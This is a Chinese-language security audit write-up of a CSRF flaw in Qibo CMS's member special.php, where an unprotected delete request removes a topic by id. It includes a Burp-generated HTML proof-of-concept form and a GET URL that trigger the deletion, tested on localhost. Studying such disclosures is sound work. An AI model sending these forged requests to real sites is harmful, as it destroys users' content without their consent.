齐博CMS审计-CSRF

文件位置\news\member\special.php \member\special.php

仅在开始前判断是否为登陆状态,查询所在用户组是否有权限在专题里添加内容
global.php继续跟进require里没有发现有效防护措施
第26行开始对内容页面进行操作 以参数delsp为例,第111行:

问题出在

1
delete_attachment($lfjdb[uid],$rsdb[picurl]);    $db->query("DELETE FROM {$_pre}special WHERE uid=$lfjuid AND id='$id'");

通过判断id来删除页面及页面附件,此处数据库直接执行DELETE
利用第19行特性构造url: special.php?job=delsp 再结合sql查询语句得到url: special.php?job=&id=
本地搭建一个环境,抓包删除专题
生成POC

1
2
3
4
5
6
7
8
9
10
11
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost/news/member/special.php">
<input type="hidden" name="job" value="delsp" />
<input type="hidden" name="id" value="24" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

把POC发给攻击对象触发后:

此时再访问首页就可以看到专题已被删除:

POC:

1
http://localhost/news/member/special.php?job=&id= 

其中job=为增删改参数,id为专题id
增删改参数:

1
2
第92行: elseif($job=="editsp")
第118行: elseif($job=='addsp')

声明:
本文章用于学习交流,严禁用于非法操作,出现后果一切自行承担,阅读此文章表示你已同意本声明。

Disclaimer:
This article is for study and communication. It is strictly forbidden to use it for illegal operations. All consequences shall be borne by yourself. Reading this article means that you have agreed to this statement.